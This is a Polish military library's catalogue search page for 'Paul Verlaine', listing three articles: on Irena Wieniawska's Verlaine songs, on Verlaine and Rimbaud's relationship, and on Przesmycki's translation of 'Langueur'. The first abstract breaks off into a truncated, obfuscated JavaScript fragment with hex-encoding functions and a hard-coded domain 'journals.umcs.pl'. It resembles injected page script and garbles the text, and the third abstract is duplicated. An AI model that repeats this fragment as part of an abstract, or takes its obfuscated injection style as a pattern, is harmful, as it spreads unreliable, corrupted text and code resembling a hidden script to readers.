Informacja

Drogi użytkowniku, aplikacja do prawidłowego działania wymaga obsługi JavaScript. Proszę włącz obsługę JavaScript w Twojej przeglądarce.

English (EN)·Polski (PL)·Yкраїнський (UK)
Przejdź do strony domowej biblioteki Centralna Biblioteka Wojskowa Link otwiera się w nowym oknie Logo biblioteki Prolib Integro - strona głównaCentralna Biblioteka Wojskowa

Wyszukujesz frazę "Paul Verlaine" wg kryterium: Temat

  Lista filtrów
Wyrównaj
    Wyświetlanie 1-3 z 3
    Tytuł:
    Pieśni Ireny Wieniawskiej do słów Paula Verlainea
    Autorzy:
    Al-Araj, Anna
    Powiązania:
    https://bibliotekanauki.pl/articles/634361.pdf
    Data publikacji:
    2016
    Wydawca:
    Uniwersytet Marii Curie-Skłodowskiej. Wydawnictwo Uniwersytetu Marii Curie-Skłodowskiej
    Tematy:
    pieśń
    Irena Wieniawska
    Paul Verlaine
    melodie
    symbolizm muzyczny
    Opis:
     W niniejszym artykule podjęto próbę interpretacji 21 pieśni Ireny Wieniawskiej (powstałych w latach 1911-1927), wykorzystujących teksty Paula Verlaine’a. Kompozytorka (1879-1932), znana także jako Madame Poldowski czy Lady Dean Paul, była córką Henryka Wieniawskiego i Izabeli Hampton-Wieniawskiej. Żyła i pracowała w Belgii oraz Wielkiej Brytanii, odbyła także podróże koncertowe do Stanów Zjednoczonych i Hiszpanii. We Francji poznała dorobek impresjonistów (m.in. Maurice’a Ravela), co w znacznym stopniu ukształtowało jej idiom twórczy.            W pierwszej części tekstu analizie poddano warstwę słowną utworów Wieniawskiej: ich wymiar treściowy oraz konstrukcyjny. Kolejny fragment został poświęcony płaszczyźnie muzycznej – autorka charakteryzuje podstawowe elementy dzieła: melodykę, akompaniament, harmonikę, fakturę i formę. W trzeciej części artykułu, w oparciu o reguły (corollaries) wyznaczone przez Henry’ego Woolletta, interpretowane są relacje słowno-muzyczne w pieśniach Madame Poldowski. Przeprowadzone analizy skłaniają do przyjęcia hipotezy o związku wokalno-instrumentalnego dorobku Lady Dean Paul z gatunkiem francuskiej mélodie, na co wskazywałaby predylekcja kompozytorki do recytatywnego traktowania głosu solowego, sylabicznego opracowania tekstu, jak również tendencja do wykorzystywania różnorodnych, skomplikowanych rozwiązań w zakresie harmoniki i formy.  Wydaje się, że estetykę twórczości pieśniowej Wieniawskiej można włączyć w krąg symbolizmu, jej elementy zaś stanowią transpozycję wyróżników tego nurtu na grunt muzyczny.   // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.umcs.pl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
    Źródło:
    Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes; 2016, 14, 1
    2083-3636
    1732-1352
    Pojawia się w:
    Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
    Dostawca treści:
    Biblioteka Nauki
    Artykuł
    Tytuł:
    Gest pośmiertnego pisania i inne „gesta” poetyckie (Verlaine, Rimbaud)
    The gesture of post-mortem writing and other poetic gestures
    Autorzy:
    Kuczyńska-Koschany, Katarzyna
    Powiązania:
    https://bibliotekanauki.pl/articles/1535172.pdf
    Data publikacji:
    2010-01-01
    Wydawca:
    Uniwersytet im. Adama Mickiewicza w Poznaniu
    Tematy:
    intertextual friendship
    somatic (mis)understanding
    Paul Verlaine
    Arthur Rimbaud
    Opis:
    The essay undertakes to investigate the phenomenon of erotic friendship as an “intertextual friendship” and, at the same time, “somatic (mis) understanding” (German: Un-beziehung). The following considerations include a discussion on the relationship between Paul Verlaine and Arthur Rimbaud, viewed first of all as bohemian characters of bohemian life and the protagonists of the mitologised homo-erotic relationship. Beside a hermeneutic attempt at describing the intimacy shared by both poets, or stages in the development of their intimate relations (with reference to French literature of the subject and texts that have not yet been translated into Polish), the author writes extensively on the reception of the relationship of the legendary pair of friends-lovers A-war period, Agnieszka Holland’s film Total eclipse and the most recent poetical texts by Ewa Sonnenberg. The essay is complemented by some considerations on similar cases, analogous to the instance of the relationship between the two French poets: epistolary romance between R.M. Rilke and M. Tsvetaeva and, important within the context of the reception of Rimbaud in Poland — love/friendship exhibited in the letters between Andrzej Czajkowski and Anita Janowska.
    Źródło:
    Poznańskie Studia Polonistyczne. Seria Literacka; 2010, 17; 43-65
    1233-8680
    2450-4947
    Pojawia się w:
    Poznańskie Studia Polonistyczne. Seria Literacka
    Dostawca treści:
    Biblioteka Nauki
    Artykuł
    Tytuł:
    Á LA FIN DE LA DECADENCE: LA TRADUCTION DE LANGUEUR DE PAUL VERLAINE PAR ZENON PRZESMYCKI ET SON INFLUENCE SUR LA DEFINITION POLONAISE DU DECADENTISME EUROPEEN
    Á LA FIN DE LA DÉCADENCE: ZENON PRZESMYCKI’S TRANSLATION OF PAUL VERLAINE’S LANGUEUR AND ITS INFLUENCE ON THE POLISH DEFINITION OF THE DECADENT MOVEMENT
    Autorzy:
    Kozik, Albert
    Powiązania:
    https://bibliotekanauki.pl/articles/690288.pdf
    Data publikacji:
    2019
    Wydawca:
    Łódzkie Towarzystwo Naukowe
    Tematy:
    Zenon Przesmycki; Paul Verlaine; Langueur; Niemoc; the Decadent movement; fin-desiècle; cultural transfer; translation studies; Kazimierz Wyka; Maria Podraza-Kwiatkowska; Andrzej Z. Makowiecki
    Zenon Przesmycki; Miriam; Paul Verlaine; Langueur; Niemoc; dekadentyzm; fin-de-siècle; koniec wieku; transfer kulturowy; translatologia; Kazimierz Wyka; Maria Podraza-Kwiatkowska; Andrzej Z. Makowiecki
    Opis:
    The article examines the most significant semantic changes and transpositions that can be found in Zenon Przesmycki’s translation of the seminal sonnet Langueur written by Paul Verlaine in the second half of the nineteenth century. It closely analyzes the way in which the translation was used by Polish scholars of literary history. Having influenced the vision of culture nurtured by the so-called Decadent Movement in fin-de-siècle Europe, Verlaine’s poem was then employed in numerous academic studies as an illustration of the philosophy and the attitude towards society that were dominant in the period under discussion. In Poland, Przesmycki’s translation played an important role in defining the very term “decadent,” as several influential researchers used it in their analyses in order to provide their readers with Polish equivalents of the original French terms. As a result, Przesmycki’s version of Verlaine’s sonnet, although intended just as a poetic translation, served a different purpose from the ones that its translator could have ever imagined. It helped define and describe the culture of “decadent” Europe as a whole. The terminology Przesmycki used to translate the French words, such as langueur and decadence (“niemoc” and “wielkie konanie” respectively), was thus introduced into the Polish scholarly debate on European modernism. Premised upon the idea of cultural transfer (transfert culturel), the analysis presented in the article helps determine the extent to which Przesmycki’s translation shaped the Polish perception of fin-de-siècle Europe.
    The article examines the most significant semantic changes and transpositions that can be found in Zenon Przesmycki’s translation of the seminal sonnet Langueur written by Paul Verlaine in the second half of the nineteenth century. It closely analyzes the way in which the translation was used by Polish scholars of literary history. Having influenced the vision of culture nurtured by the so-called Decadent Movement in fin-de-siècle Europe, Verlaine’s poem was then employed in numerous academic studies as an illustration of the philosophy and the attitude towards society that were dominant in the period under discussion. In Poland, Przesmycki’s translation played an important role in defining the very term “decadent,” as several influential researchers used it in their analyses in order to provide their readers with Polish equivalents of the original French terms. As a result, Przesmycki’s version of Verlaine’s sonnet, although intended just as a poetic translation, served a different purpose from the ones that its translator could have ever imagined. It helped define and describe the culture of “decadent” Europe as a whole. The terminology Przesmycki used to translate the French words, such as langueur and decadence (“niemoc” and “wielkie konanie” respectively), was thus introduced into the Polish scholarly debate on European modernism. Premised upon the idea of cultural transfer (transfert culturel), the analysis presented in the article helps determine the extent to which Przesmycki’s translation shaped the Polish perception of fin-de-siècle Europe.   
    Źródło:
    Prace Polonistyczne; 2019, 74; 175-193
    0079-4791
    Pojawia się w:
    Prace Polonistyczne
    Dostawca treści:
    Biblioteka Nauki
    Artykuł
      Wyświetlanie 1-3 z 3

      Ta witryna wykorzystuje pliki cookies do przechowywania informacji na Twoim komputerze. Pliki cookies stosujemy w celu świadczenia usług na najwyższym poziomie, w tym w sposób dostosowany do indywidualnych potrzeb. Korzystanie z witryny bez zmiany ustawień dotyczących cookies oznacza, że będą one zamieszczane w Twoim komputerze. W każdym momencie możesz dokonać zmiany ustawień dotyczących cookies